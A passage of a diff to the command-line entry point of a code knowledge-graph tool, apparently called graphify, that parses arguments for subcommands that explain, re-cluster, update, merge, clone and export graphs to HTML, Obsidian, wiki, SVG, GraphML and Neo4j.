json_graph + + label = sys.argv[2] + graph_path = _default_graph_path() + args = sys.argv[3:] + for i, a in enumerate(args): + if a == "--graph" and i + 1 < len(args): + graph_path = args[i + 1] + gp = Path(graph_path).resolve() + if not gp.exists(): + print(f"error: graph file not found: {gp}", file=sys.stderr) + sys.exit(1) + _enforce_graph_size_cap_or_exit(gp) + _raw = json.loads(gp.read_text(encoding="utf-8")) + if "links" not in _raw and "edges" in _raw: + _raw = dict(_raw, links=_raw["edges"]) + # Force directed so the renderer can recover stored caller→callee direction. + _raw = {**_raw, "directed": True} + try: + G = json_graph.node_link_graph(_raw, edges="links") + except TypeError: + G = json_graph.node_link_graph(_raw) + matches = _find_node(G, label) + if not matches: + print(f"No node matching '{label}' found.") + sys.exit(0) + nid = matches[0] + d = G.nodes[nid] + print(f"Node: {d.get('label', nid)}") + print(f" ID: {nid}") + print( + f" Source: {d.get('source_file', '')} {d.get('source_location', '')}".rstrip() + ) + print(f" Type: {d.get('file_type', '')}") + print(f" Community: {d.get('community', '')}") + print(f" Degree: {G.degree(nid)}") + from graphify.build import edge_data + connections: list[tuple[str, str, dict]] = [] # (direction, neighbor_id, edge_data) + for nb in G.successors(nid): + connections.append(("out", nb, edge_data(G, nid, nb))) + for nb in G.predecessors(nid): + connections.append(("in", nb, edge_data(G, nb, nid))) + if connections: + print(f"\nConnections ({len(connections)}):") + connections.sort(key=lambda c: G.degree(c[1]), reverse=True) + for direction, nb, edata in connections[:20]: + rel = edata.get("relation", "") + conf = edata.get("confidence", "") + arrow = "-->" if direction == "out" else "<--" + print(f" {arrow} {G.nodes[nb].get('label', nb)} [{rel}] [{conf}]") + if len(connections) > 20: + print(f" ... and {len(connections) - 20} more") + from graphify import querylog + querylog.log_query( + kind="explain", + question=sys.argv[2], + corpus=str(gp), + nodes_returned=len(connections), + ) + + elif cmd == "diagnose": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd != "multigraph": + print( + "Usage: graphify diagnose multigraph " + "[--graph path] [--json] [--max-examples N] " + "[--directed] [--undirected] [--extract-path path]", + file=sys.stderr, + ) + sys.exit(1) + + graph_path = Path(_default_graph_path()) + max_examples = 5 + directed: bool | None = None + direction_flag: str | None = None + json_output = False + extract_path: Path | None = None + + i = 3 + while i < len(sys.argv): + arg = sys.argv[i] + if arg == "--graph": + i += 1 + if i >= len(sys.argv): + print("error: --graph requires a path", file=sys.stderr) + sys.exit(1) + graph_path = Path(sys.argv[i]) + elif arg == "--json": + json_output = True + elif arg == "--max-examples": + i += 1 + if i >= len(sys.argv): + print("error: --max-examples requires an integer", file=sys.stderr) + sys.exit(1) + try: + max_examples = int(sys.argv[i]) + except ValueError: + print("error: --max-examples requires an integer", file=sys.stderr) + sys.exit(1) + if max_examples < 0: + print("error: --max-examples must be >= 0", file=sys.stderr) + sys.exit(1) + elif arg == "--directed": + if direction_flag == "undirected": + print( + "error: --directed and --undirected are mutually exclusive", + file=sys.stderr, + ) + sys.exit(1) + direction_flag = "directed" + directed = True + elif arg == "--undirected": + if direction_flag == "directed": + print( + "error: --directed and --undirected are mutually exclusive", + file=sys.stderr, + ) + sys.exit(1) + direction_flag = "undirected" + directed = False + elif arg == "--extract-path": + i += 1 + if i >= len(sys.argv): + print("error: --extract-path requires a path", file=sys.stderr) + sys.exit(1) + extract_path = Path(sys.argv[i]) + else: + print(f"error: unknown diagnose option {arg}", file=sys.stderr) + sys.exit(1) + i += 1 + + from graphify.diagnostics import ( + diagnose_file, + format_diagnostic_json, + format_diagnostic_report, + ) + + try: + summary = diagnose_file( + graph_path, + directed=directed, + root=Path(".").resolve(), + max_examples=max_examples, + extract_path=extract_path, + ) + except Exception as exc: + print(f"error: {exc}", file=sys.stderr) + sys.exit(1) + + if json_output: + print(json.dumps(format_diagnostic_json(summary), indent=2)) + else: + print(format_diagnostic_report(summary)) + + elif cmd == "add": + if len(sys.argv) < 3: + print( + "Usage: graphify add [--author Name] [--contributor Name] [--dir ./raw]", + file=sys.stderr, + ) + sys.exit(1) + from graphify.ingest import ingest as _ingest + + url = sys.argv[2] + author: str | None = None + contributor: str | None = None + target_dir = Path("raw") + args = sys.argv[3:] + i = 0 + while i < len(args): + if args[i] == "--author" and i + 1 < len(args): + author = args[i + 1] + i += 2 + elif args[i] == "--contributor" and i + 1 < len(args): + contributor = args[i + 1] + i += 2 + elif args[i] == "--dir" and i + 1 < len(args): + target_dir = Path(args[i + 1]) + i += 2 + else: + i += 1 + try: + saved = _ingest(url, target_dir, author=author, contributor=contributor) + print(f"Saved to {saved}") + print("Run /graphify --update in your AI assistant to update the graph.") + except Exception as exc: + print(f"error: {exc}", file=sys.stderr) + sys.exit(1) + + elif cmd == "watch": + watch_path = Path(sys.argv[2]) if len(sys.argv) > 2 else Path(".") + if not watch_path.exists(): + print(f"error: path not found: {watch_path}", file=sys.stderr) + sys.exit(1) + from graphify.watch import watch as _watch + + try: + _watch(watch_path) + except ImportError as exc: + print(f"error: {exc}", file=sys.stderr) + sys.exit(1) + + elif cmd in ("cluster-only", "label"): + # `label` is `cluster-only` that always (re)generates community names with + # the configured backend, even when a .graphify_labels.json already exists. + force_relabel = cmd == "label" + # Mirror the tree/export arg-parsing pattern: walk argv so flags and + # the optional positional path can appear in any order (#724). + no_viz = "--no-viz" in sys.argv + no_label = "--no-label" in sys.argv + _backend_arg = next((a for a in sys.argv if a.startswith("--backend=")), None) + label_backend = _backend_arg.split("=", 1)[1] if _backend_arg else None + _min_cs_arg = next((a for a in sys.argv if a.startswith("--min-community-size=")), None) + min_community_size = int(_min_cs_arg.split("=")[1]) if _min_cs_arg else 3 + args = sys.argv[2:] + watch_path: Path | None = None + graph_override: Path | None = None + co_resolution: float = 1.0 + co_exclude_hubs: float | None = None + i_arg = 0 + while i_arg < len(args): + a = args[i_arg] + if a == "--graph" and i_arg + 1 < len(args): + graph_override = Path(args[i_arg + 1]); i_arg += 2 + elif a == "--resolution" and i_arg + 1 < len(args): + co_resolution = float(args[i_arg + 1]); i_arg += 2 + elif a.startswith("--resolution="): + co_resolution = float(a.split("=", 1)[1]); i_arg += 1 + elif a == "--exclude-hubs" and i_arg + 1 < len(args): + co_exclude_hubs = float(args[i_arg + 1]); i_arg += 2 + elif a.startswith("--exclude-hubs="): + co_exclude_hubs = float(a.split("=", 1)[1]); i_arg += 1 + elif a == "--no-viz" or a.startswith("--min-community-size="): + i_arg += 1 + elif a.startswith("--"): + i_arg += 1 + elif watch_path is None: + watch_path = Path(a); i_arg += 1 + else: + i_arg += 1 + if watch_path is None: + watch_path = Path(".") + graph_json = graph_override if graph_override is not None else watch_path / "graphify-out" / "graph.json" + if not graph_json.exists(): + print( + f"error: no graph found at {graph_json} — run /graphify first", + file=sys.stderr, + ) + sys.exit(1) + from networkx.readwrite import json_graph as _jg + from graphify.build import build_from_json + from graphify.cluster import cluster, score_all, remap_communities_to_previous + from graphify.analyze import ( + god_nodes, + surprising_connections, + suggest_questions, + ) + from graphify.report import generate + from graphify.export import to_json, to_html + + print("Loading existing graph...") + _enforce_graph_size_cap_or_exit(graph_json) + _raw = json.loads(graph_json.read_text(encoding="utf-8")) + _directed = bool(_raw.get("directed", False)) + G = build_from_json(_raw, directed=_directed) + print(f"Graph: {G.number_of_nodes()} nodes, {G.number_of_edges()} edges") + print("Re-clustering...") + communities = cluster(G, resolution=co_resolution, exclude_hubs_percentile=co_exclude_hubs) + # Mirror the watch/update path (#822): map new cids to prior ones by + # node-overlap so the existing .graphify_labels.json keeps attaching + # to the same conceptual community after re-clustering. Without this, + # labels follow raw cid index and become misaligned whenever the + # graph has changed between labeling and cluster-only (#1027). + previous_node_community = { + n["id"]: n["community"] + for n in _raw.get("nodes", []) + if n.get("community") is not None and n.get("id") is not None + } + if previous_node_community: + communities = remap_communities_to_previous(communities, previous_node_community) + cohesion = score_all(G, communities) + gods = god_nodes(G) + surprises = surprising_connections(G, communities) + out = watch_path / "graphify-out" + out.mkdir(parents=True, exist_ok=True) + labels_path = out / ".graphify_labels.json" + if labels_path.exists() and not force_relabel: + try: + labels = {int(k): v for k, v in json.loads(labels_path.read_text(encoding="utf-8")).items()} + except Exception: + labels = {cid: f"Community {cid}" for cid in communities} + elif no_label and not force_relabel: + labels = {cid: f"Community {cid}" for cid in communities} + else: + # No labels file yet (or `graphify label` forced a refresh). When run + # standalone there is no orchestrating agent to do skill.md Step 5, so + # auto-name communities with the configured backend rather than leave + # "Community N" (#1097). Degrades to placeholders if no backend/on error. + from graphify.llm import generate_community_labels + print("Labeling communities...") + # The final labels (LLM or placeholder fallback) are persisted to + # .graphify_labels.json by the unconditional write below. + labels, _ = generate_community_labels( + G, communities, backend=label_backend, gods=gods + ) + questions = suggest_questions(G, communities, labels) + tokens = {"input": 0, "output": 0} + from graphify.export import _git_head as _gh + _commit = _gh() + report = generate(G, communities, cohesion, labels, gods, surprises, + {"warning": "cluster-only mode — file stats not available"}, + tokens, str(watch_path), suggested_questions=questions, + min_community_size=min_community_size, built_at_commit=_commit) + (out / "GRAPH_REPORT.md").write_text(report, encoding="utf-8") + from graphify.export import backup_if_protected as _backup + _backup(out) + to_json(G, communities, str(out / "graph.json")) + labels_path.write_text(json.dumps({str(k): v for k, v in labels.items()}, ensure_ascii=False), encoding="utf-8") + + # Mirror watch.py pattern: gate to_html so core outputs (graph.json + + # GRAPH_REPORT.md) always land. Honor --no-viz explicitly; otherwise + # fall back to ValueError handling so an oversized graph doesn't crash + # the CLI mid-write and leave a stale graph.html on disk. + html_target = out / "graph.html" + if no_viz: + if html_target.exists(): + html_target.unlink() + print(f"Done - {len(communities)} communities. GRAPH_REPORT.md and graph.json updated (--no-viz; graph.html removed).") + else: + try: + to_html(G, communities, str(html_target), community_labels=labels or None) + print(f"Done - {len(communities)} communities. GRAPH_REPORT.md, graph.json and graph.html updated.") + except ValueError as viz_err: + if html_target.exists(): + html_target.unlink() + print(f"Skipped graph.html: {viz_err}") + print(f"Done - {len(communities)} communities. GRAPH_REPORT.md and graph.json updated.") + + elif cmd == "update": + force = os.environ.get("GRAPHIFY_FORCE", "").lower() in ("1", "true", "yes") + no_cluster = False + args = sys.argv[2:] + watch_arg: str | None = None + for a in args: + if a == "--force": + force = True + continue + if a == "--no-cluster": + no_cluster = True + continue + if a.startswith("-"): + print(f"error: unknown update option: {a}", file=sys.stderr) + sys.exit(2) + if watch_arg is not None: + print("error: update accepts at most one path argument", file=sys.stderr) + sys.exit(2) + watch_arg = a + + if watch_arg is not None: + watch_path = Path(watch_arg) + else: + # Try to recover the scan root saved by the last full build + saved = Path(_GRAPHIFY_OUT) / ".graphify_root" + if saved.exists(): + watch_path = Path(saved.read_text(encoding="utf-8").strip()) + else: + watch_path = Path(".") + if not watch_path.exists(): + print(f"error: path not found: {watch_path}", file=sys.stderr) + sys.exit(1) + from graphify.watch import _rebuild_code + + print(f"Re-extracting code files in {watch_path} (no LLM needed)...") + # Interactive CLI: block on the per-repo lock rather than skip, so the + # user sees their explicit `graphify update` complete instead of + # exiting silently when a hook-driven rebuild happens to be running. + ok = _rebuild_code(watch_path, force=force, no_cluster=no_cluster, block_on_lock=True) + if ok: + print("Code graph updated. For doc/paper/image changes run /graphify --update in your AI assistant.") + if not ( + os.environ.get("GEMINI_API_KEY") + or os.environ.get("GOOGLE_API_KEY") + or os.environ.get("MOONSHOT_API_KEY") + or os.environ.get("DEEPSEEK_API_KEY") + or os.environ.get("GRAPHIFY_NO_TIPS") + ): + print("Tip: set GEMINI_API_KEY or GOOGLE_API_KEY to use Gemini for semantic extraction.") + else: + print( + "Nothing to update or rebuild failed — check output above.", + file=sys.stderr, + ) + sys.exit(1) + + elif cmd == "hook-check": + # Codex Desktop rejects hookSpecificOutput.additionalContext on PreToolUse. + # Keep this as a cross-platform no-op so installed hooks never break Bash + # tool calls. Graph guidance reaches the agent via AGENTS.md / skill instead. + sys.exit(0) + elif cmd == "check-update": + if len(sys.argv) < 3: + print("Usage: graphify check-update ", file=sys.stderr) + sys.exit(1) + from graphify.watch import check_update + + check_update(Path(sys.argv[2]).resolve()) + sys.exit(0) + elif cmd == "tree": + # Emit a D3 v7 collapsible-tree HTML view of graph.json: + # expand-all / collapse-all / reset-view buttons, multi-line + # wrapText labels with separately-coloured name + count, + # depth-based palette, click-to-toggle subtree, hover inspector + # showing top-K outbound edges per symbol. + from typing import Optional as _Opt + from graphify.tree_html import write_tree_html, DEFAULT_MAX_CHILDREN + graph_path = Path(_GRAPHIFY_OUT) / "graph.json" + output_path: "_Opt[Path]" = None + root: "_Opt[str]" = None + max_children = DEFAULT_MAX_CHILDREN + top_k_edges = 0 + project_label: "_Opt[str]" = None + args = sys.argv[2:] + i_arg = 0 + while i_arg < len(args): + a = args[i_arg] + if a == "--graph" and i_arg + 1 < len(args): + graph_path = Path(args[i_arg + 1]); i_arg += 2 + elif a == "--output" and i_arg + 1 < len(args): + output_path = Path(args[i_arg + 1]); i_arg += 2 + elif a == "--root" and i_arg + 1 < len(args): + root = args[i_arg + 1]; i_arg += 2 + elif a == "--max-children" and i_arg + 1 < len(args): + max_children = int(args[i_arg + 1]); i_arg += 2 + elif a == "--top-k-edges" and i_arg + 1 < len(args): + top_k_edges = int(args[i_arg + 1]); i_arg += 2 + elif a == "--label" and i_arg + 1 < len(args): + project_label = args[i_arg + 1]; i_arg += 2 + elif a in ("-h", "--help"): + print("Usage: graphify tree [--graph PATH] [--output HTML]") + print(" --graph PATH path to graph.json (default graphify-out/graph.json)") + print(" --output HTML output path (default graphify-out/GRAPH_TREE.html)") + print(" --root PATH filesystem root (default: longest common dir of all source_files)") + print(" --max-children N cap visible children per node (default 200)") + print(" --top-k-edges N pre-compute top-K outbound edges per symbol (default 12)") + print(" --label NAME project label shown in the page header") + return + else: + i_arg += 1 + if not graph_path.is_file(): + print(f"error: graph.json not found at {graph_path}", file=sys.stderr) + sys.exit(1) + _enforce_graph_size_cap_or_exit(graph_path) + if output_path is None: + output_path = graph_path.parent / "GRAPH_TREE.html" + out = write_tree_html( + graph_path=graph_path, output_path=output_path, + root=root, max_children=max_children, + top_k_edges=top_k_edges, project_label=project_label, + ) + size_kb = out.stat().st_size / 1024 + print(f"wrote {out} ({size_kb:.1f} KB)") + print(f"open with: xdg-open {out} (or file://{out.resolve()})") + sys.exit(0) + + elif cmd == "merge-driver": + # git merge driver for graph.json — takes (base, current, other) and writes + # the union of current+other nodes/edges back to current. Exits 1 on + # corrupt input so git surfaces the conflict instead of silently + # accepting a poisoned merge (see F-005). + # Usage: graphify merge-driver %O %A %B (set in .git/config merge driver) + if len(sys.argv) < 5: + print("Usage: graphify merge-driver ", file=sys.stderr) + sys.exit(1) + _base_path, _current_path, _other_path = sys.argv[2], sys.argv[3], sys.argv[4] + # Hard caps so a malicious or corrupted graph.json cannot exhaust memory + # at parse time. 50 MB / 100k nodes are well above any realistic graph + # (typical graphs are <5 MB / <50k nodes); anything larger should fail + # the merge so a human can investigate. + _MERGE_MAX_BYTES = 50 * 1024 * 1024 + _MERGE_MAX_NODES = 100_000 + import networkx as _nx + from networkx.readwrite import json_graph as _jg + def _load_graph(p: str): + path_obj = Path(p) + try: + size = path_obj.stat().st_size + except OSError as exc: + raise RuntimeError(f"cannot stat {p}: {exc}") from exc + if size > _MERGE_MAX_BYTES: + raise RuntimeError( + f"graph.json {p} is {size} bytes, exceeds {_MERGE_MAX_BYTES}-byte cap" + ) + data = json.loads(path_obj.read_text(encoding="utf-8")) + try: + return _jg.node_link_graph(data, edges="links"), data + except TypeError: + return _jg.node_link_graph(data), data + try: + G_cur, _ = _load_graph(_current_path) + G_oth, _ = _load_graph(_other_path) + except Exception as exc: + print(f"[graphify merge-driver] error loading graphs: {exc}", file=sys.stderr) + sys.exit(1) # surface the conflict so git doesn't accept a corrupt merge + merged = _nx.compose(G_cur, G_oth) + if merged.number_of_nodes() > _MERGE_MAX_NODES: + print( + f"[graphify merge-driver] merged graph has {merged.number_of_nodes()} nodes, " + f"exceeds {_MERGE_MAX_NODES}-node cap; aborting merge.", + file=sys.stderr, + ) + sys.exit(1) + try: + out_data = _jg.node_link_data(merged, edges="links") + except TypeError: + out_data = _jg.node_link_data(merged) + Path(_current_path).write_text(json.dumps(out_data, indent=2), encoding="utf-8") + sys.exit(0) + + elif cmd == "merge-graphs": + # graphify merge-graphs graph1.json graph2.json ... --out merged.json + args = sys.argv[2:] + graph_paths: list[Path] = [] + out_path = Path(_GRAPHIFY_OUT) / "merged-graph.json" + i = 0 + while i < len(args): + if args[i] == "--out" and i + 1 < len(args): + out_path = Path(args[i + 1]) + i += 2 + else: + graph_paths.append(Path(args[i])) + i += 1 + if len(graph_paths) < 2: + print( + "Usage: graphify merge-graphs [...] [--out merged.json]", + file=sys.stderr, + ) + sys.exit(1) + import networkx as _nx + from networkx.readwrite import json_graph as _jg + from graphify.build import prefix_graph_for_global as _prefix + graphs = [] + for gp in graph_paths: + if not gp.exists(): + print(f"error: not found: {gp}", file=sys.stderr) + sys.exit(1) + _enforce_graph_size_cap_or_exit(gp) + data = json.loads(gp.read_text(encoding="utf-8")) + # Normalize edges/links key before loading — graphify writes "links" + # via node_link_data but older runs may have used "edges" (#738). + if "links" not in data and "edges" in data: + data = dict(data, links=data["edges"]) + try: + G = _jg.node_link_graph(data, edges="links") + except TypeError: + G = _jg.node_link_graph(data) + graphs.append(G) + merged = _nx.Graph() + for G, gp in zip(graphs, graph_paths): + repo_tag = gp.parent.parent.name # graphify-out/../ → repo dir name + prefixed = _prefix(G, repo_tag) + merged = _nx.compose(merged, prefixed) + try: + out_data = _jg.node_link_data(merged, edges="links") + except TypeError: + out_data = _jg.node_link_data(merged) + out_path.parent.mkdir(parents=True, exist_ok=True) + out_path.write_text(json.dumps(out_data, indent=2), encoding="utf-8") + print(f"Merged {len(graphs)} graphs -> {merged.number_of_nodes()} nodes, {merged.number_of_edges()} edges") + print(f"Written to: {out_path}") + + elif cmd == "clone": + if len(sys.argv) < 3: + print( + "Usage: graphify clone [--branch ] [--out ]", + file=sys.stderr, + ) + sys.exit(1) + url = sys.argv[2] + branch: str | None = None + out_dir: Path | None = None + args = sys.argv[3:] + i = 0 + while i < len(args): + if args[i] == "--branch" and i + 1 < len(args): + branch = args[i + 1] + i += 2 + elif args[i] == "--out" and i + 1 < len(args): + out_dir = Path(args[i + 1]) + i += 2 + else: + i += 1 + local_path = _clone_repo(url, branch=branch, out_dir=out_dir) + print(local_path) + + elif cmd == "export": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + if subcmd not in ("html", "callflow-html", "obsidian", "wiki", "svg", "graphml", "neo4j"): + print("Usage: graphify export ", file=sys.stderr) + print(" html [--graph PATH] [--labels PATH] [--node-limit N] [--no-viz]", file=sys.stderr) + print(" callflow-html [GRAPH|DIR] [--graph PATH] [--labels PATH] [--report PATH] [--sections PATH] [--output HTML]", file=sys.stderr) + print(" [--lang auto|zh-CN|en] [--max-sections N] [--diagram-scale N]", file=sys.stderr) + print(" obsidian [--graph PATH] [--labels PATH] [--dir PATH]", file=sys.stderr) + print(" wiki [--graph PATH] [--labels PATH]", file=sys.stderr) + print(" svg [--graph PATH] [--labels PATH]", file=sys.stderr) + print(" graphml [--graph PATH]", file=sys.stderr) + print(" neo4j [--graph PATH] [--push URI] [--user U] [--password P]", file=sys.stderr) + print(" (or set NEO4J_PASSWORD instead of --password to keep it off argv)", file=sys.stderr) + sys.exit(1) + + # Parse shared args + args = sys.argv[3:] + graph_path = Path(_GRAPHIFY_OUT) / "graph.json" + graph_path_explicit = False + labels_path = Path(_GRAPHIFY_OUT) / ".graphify_labels.json" + labels_path_explicit = False + report_path = Path(_GRAPHIFY_OUT) / "GRAPH_REPORT.md" + report_path_explicit = False + sections_path: Path | None = None + callflow_output: Path | None = None + callflow_lang = "auto" + callflow_max_sections = 15 + callflow_diagram_scale = 1.0 + callflow_max_diagram_nodes = 18 + callflow_max_diagram_edges = 24 + analysis_path = Path(_GRAPHIFY_OUT) / ".graphify_analysis.json" + node_limit = 5000 + no_viz = False + obsidian_dir = Path(_GRAPHIFY_OUT) / "obsidian" + neo4j_uri: str | None = None + neo4j_user = "neo4j" + # F-031: prefer the NEO4J_PASSWORD env var so the password never + # appears on argv (visible in `ps` output / shell history). The + # explicit --password flag still overrides it for compatibility. + neo4j_password: str | None = os.environ.get("NEO4J_PASSWORD") or None + i = 0 + while i < len(args): + a = args[i] + if a == "--graph" and i + 1 < len(args): + graph_path = Path(args[i + 1]) + graph_path_explicit = True + i += 2 + elif a == "--labels" and i + 1 < len(args): + labels_path = Path(args[i + 1]) + labels_path_explicit = True + i += 2 + elif a == "--report" and i + 1 < len(args): + report_path = Path(args[i + 1]) + report_path_explicit = True + i += 2 + elif a == "--sections" and i + 1 < len(args): + sections_path = Path(args[i + 1]); i += 2 + elif a == "--output" and i + 1 < len(args): + callflow_output = Path(args[i + 1]).expanduser() + if not callflow_output.is_absolute(): + callflow_output = Path.cwd() / callflow_output + i += 2 + elif a == "--lang" and i + 1 < len(args): + callflow_lang = args[i + 1]; i += 2 + elif a == "--max-sections" and i + 1 < len(args): + callflow_max_sections = int(args[i + 1]); i += 2 + elif a == "--diagram-scale" and i + 1 < len(args): + callflow_diagram_scale = float(args[i + 1]); i += 2 + elif a == "--max-diagram-nodes" and i + 1 < len(args): + callflow_max_diagram_nodes = int(args[i + 1]); i += 2 + elif a == "--max-diagram-edges" and i + 1 < len(args): + callflow_max_diagram_edges = int(args[i + 1]); i += 2 + elif a in ("-h", "--help") and subcmd == "callflow-html": + print("Usage: graphify export callflow-html [GRAPH|DIR] [--graph PATH] [--labels PATH]") + print(" --report PATH path to GRAPH_REPORT.md") + print(" --sections PATH JSON section definitions") + print(" --output HTML output path (default graphify-out/-callflow.html)") + print(" --lang LANG auto, zh-CN, en, etc. (default auto)") + print(" --max-sections N maximum auto-derived sections (default 15)") + print(" --diagram-scale N Mermaid diagram scale (default 1.0)") + print(" --max-diagram-nodes N representative nodes per section (default 18)") + print(" --max-diagram-edges N representative edges per section (default 24)") + sys.exit(0) + elif a == "--node-limit" and i + 1 < len(args): + node_limit = int(args[i + 1]); i += 2 + elif a == "--no-viz": + no_viz = True; i += 1 + elif a == "--dir" and i + 1 < len(args): + obsidian_dir = Path(args[i + 1]); i += 2 + elif a == "--push" and i + 1 < len(args): + neo4j_uri = args[i + 1]; i += 2 + elif a == "--user" and i + 1 < len(args): + neo4j_user = args[i + 1]; i += 2 + elif a == "--password" and i + 1 < len(args): + neo4j_password = args[i + 1]; i += 2 + elif subcmd == "callflow-html" and not a.startswith("-") and not graph_path_explicit: + candidate = Path(a) + if candidate.name == "graph.json" or candidate.suffix.lower() == ".json": + graph_path = candidate + elif (candidate / "graph.json").exists(): + graph_path = candidate / "graph.json" + else: + graph_path = candidate / _GRAPHIFY_OUT / "graph.json" + graph_path_explicit = True + i += 1 + else: + i += 1 + + graph_path = graph_path.expanduser() + if graph_path_explicit: + graph_out_dir = graph_path.parent + if not labels_path_explicit: + labels_path = graph_out_dir / ".graphify_labels.json" + if not report_path_explicit: + report_path = graph_out_dir / "GRAPH_REPORT.md" + labels_path = labels_path.expanduser() + report_path = report_path.expanduser() + + if not graph_path.exists(): + print(f"error: graph not found: {graph_path}. Run /graphify first.", file=sys.stderr) + sys.exit(1) + + if subcmd == "callflow-html": + from graphify.callflow_html import write_callflow_html as _write_callflow_html + out = _write_callflow_html( + graph=graph_path, + report=report_path, + labels=labels_path, + sections=sections_path, + output=callflow_output, + lang=callflow_lang, + max_sections=callflow_max_sections, + diagram_scale=callflow_diagram_scale, + max_diagram_nodes=callflow_max_diagram_nodes, + max_diagram_edges=callflow_max_diagram_edges, + verbose=True, + ) + print(f"callflow HTML written - open in any browser: {out}") + sys.exit(0) + + from networkx.readwrite import json_graph as _jg + from graphify.build import build_from_json as _bfj + + _enforce_graph_size_cap_or_exit(graph_path) + _raw = json.loads(graph_path.read_text(encoding="utf-8")) + if "links" not in _raw and "edges" in _raw: + _raw = dict(_raw, links=_raw["edges"]) + try: + G = _jg.node_link_graph(_raw, edges="links") + except TypeError: + G = _jg.node_link_graph(_raw) + + # Load optional analysis/labels + communities: dict[int, list[str]] = {} + if analysis_path.exists(): + _an = json.loads(analysis_path.read_text(encoding="utf-8")) + communities = {int(k): v for k, v in _an.get("communities", {}).items()} + cohesion: dict[int, float] = {int(k): v for k, v in _an.get("cohesion", {}).items()} + gods_data = _an.get("gods", []) + else: + cohesion = {} + gods_data = [] + + # Fallback: graph.json carries the per-node community as a node attribute + # (`to_json` writes it on every node). The analysis sidecar is the + # canonical source — but the post-commit / watch rebuild path doesn't + # regenerate it, and `extract` may have its temp files cleaned up. When + # that happens, `graphify export html` previously bailed with + # "Single community - aggregated view not useful." even though the + # per-node attribute had the right data all along. Reconstruct from + # the graph itself so downstream subcommands (html, obsidian, wiki, + # svg, graphml, neo4j) don't silently produce a degraded artifact. + if not communities: + reconstructed: dict[int, list[str]] = {} + for node_id, data in G.nodes(data=True): + cid_raw = data.get("community") + if cid_raw is None: + continue + try: + cid = int(cid_raw) + except (TypeError, ValueError): + continue + reconstructed.setdefault(cid, []).append(str(node_id)) + if reconstructed: + communities = reconstructed + + labels: dict[int, str] = {} + if labels_path.exists(): + labels = {int(k): v for k, v in json.loads(labels_path.read_text(encoding="utf-8")).items()} + + out_dir = graph_path.parent + + if subcmd == "html": + from graphify.export import to_html as _to_html + if no_viz: + html_target = out_dir / "graph.html" + if html_target.exists(): + html_target.unlink() + print("--no-viz: skipped graph.html") + else: + _to_html(G, communities, str(out_dir / "graph.html"), + community_labels=labels or None, node_limit=node_limit) + if G.number_of_nodes() <= node_limit: + print(f"graph.html written - open in any browser, no server needed") + + elif subcmd == "obsidian": + from graphify.export import to_obsidian as _to_obsidian, to_canvas as _to_canvas + n = _to_obsidian(G, communities, str(obsidian_dir), + community_labels=labels or None, cohesion=cohesion or None) + print(f"Obsidian vault: {n} notes in {obsidian_dir}/") + _to_canvas(G, communities, str(obsidian_dir / "graph.canvas"), + community_labels=labels or None) + print(f"Canvas: {obsidian_dir}/graph.canvas") + print(f"Open {obsidian_dir}/ as a vault in Obsidian.") + + elif subcmd == "wiki": + from graphify.wiki import to_wiki as _to_wiki + from graphify.analyze import god_nodes as _god_nodes + if not communities: + print( + "error: .graphify_analysis.json is missing or empty — refusing to export wiki to prevent data loss.\n" + "Run `graphify extract .` (or `graphify cluster-only .`) to regenerate community data first.", + file=sys.stderr, + ) + sys.exit(1) + if not gods_data: + gods_data = _god_nodes(G) + n = _to_wiki(G, communities, str(out_dir / "wiki"), + community_labels=labels or None, cohesion=cohesion or None, + god_nodes_data=gods_data) + print(f"Wiki: {n} articles written to {out_dir}/wiki/") + print(f" {out_dir}/wiki/index.md -> agent entry point") + + elif subcmd == "svg": + from graphify.export import to_svg as _to_svg + _to_svg(G, communities, str(out_dir / "graph.svg"), + community_labels=labels or None) + print(f"graph.svg written - embeds in Obsidian, Notion, GitHub READMEs") + + elif subcmd == "graphml": + from graphify.export import to_graphml as _to_graphml + _to_graphml(G, communities, str(out_dir / "graph.graphml")) + print(f"graph.graphml written - open in Gephi, yEd, or any GraphML tool") + + elif subcmd == "neo4j": + if neo4j_uri: + from graphify.export import push_to_neo4j as _push + if neo4j_password is None: + print("error: --password required for --push", file=sys.stderr) + sys.exit(1) + result = _push(G, uri=neo4j_uri, user=neo4j_user, + password=neo4j_password, communities=communities) + print(f"Pushed to Neo4j: {result['nodes']} nodes, {result['edges']} edges") + else: + from graphify.export import to_cypher as _to_cypher + _to_cypher(G, str(out_dir / "cypher.txt")) + print(f"cypher.txt written - import with: cypher-shell < {out_dir}/cypher.txt") + + elif cmd == "benchmark": + from graphify.benchmark import run_benchmark, print_benchmark + + graph_path = sys.argv[2] if len(sys.argv) > 2 else "graphify-out/graph.json" + _enforce_graph_size_cap_or_exit(Path(graph_path)) + # Try to load corpus_words from detect output + corpus_words = None + detect_path = Path(".graphify_detect.json") + if detect_path.exists(): + try: + detect_data = json.loads(detect_path.read_text(encoding="utf-8")) + corpus_words = detect_data.get("total_words") + except Exception: + pass + result = run_benchmark(graph_path, corpus_words=corpus_words) + print_benchmark(result) + + elif cmd == "global": + subcmd = sys.argv[2] if len(sys.argv) > 2 else "" + from graphify.global_graph import ( + global_add as _global_add, + global_remove as _global_remove, + global_list as _global_list, + global_path as _global_path, + ) + if subcmd == "add": + # graphify global add [--as ] + args = sys.argv[3:] + source = None + tag = None + i = 0 + while i < len(args): + if args[i] == "--as" and i + 1 < len(args): + tag = args[i + 1]; i += 2 + elif not source: + source = Path(args[i]); i += 1 + else: + i += 1 + if not source: + print("Usage: graphify global add [--as ]", file=sys.stderr) + sys.exit(1) + tag = tag or source.parent.parent.name + try: + result = _global_add(source, tag) + if result["skipped"]: + print(f"'{tag}' unchanged since last add - global graph not modified.") + else: + print(f"Added '{tag}' to global graph: +{result['nodes_added']} nodes, " + f"-{result['nodes_removed']} pruned. Global: {_global_path()}") + except Exception as exc: + print(f"error: {exc}", file=sys.stderr); sys.exit(1) + elif subcmd == "remove": + tag = sys.argv[3] if len(sys.argv) > 3 else "" + if not tag: + print("Usage: graphify global remove ", file=sys.stderr); sys.exit(1) + try: + removed = _global_remove(tag) + print(f"Removed '{tag}' from global graph ({removed} nodes pruned).") + except KeyError as exc: + print(f"error: {exc}", file=sys.stderr); sys.exit(1) + elif subcmd == "list": + repos = _global_list() + if not repos: + print("Global graph is empty. Use 'graphify global add' to add a project.") + else: + print(f"Global graph: {_global_path()}") + for tag, info in repos.items(): + print(f" {tag}: {info.get('node_count', '?')} nodes, added {info.get('added_at', '?')[:10]}") + elif subcmd == "path": + print(_global_path()) + else: + print("Usage: graphify global [add|remove|list|path]", file=sys.stderr); sys.exit(1) + + 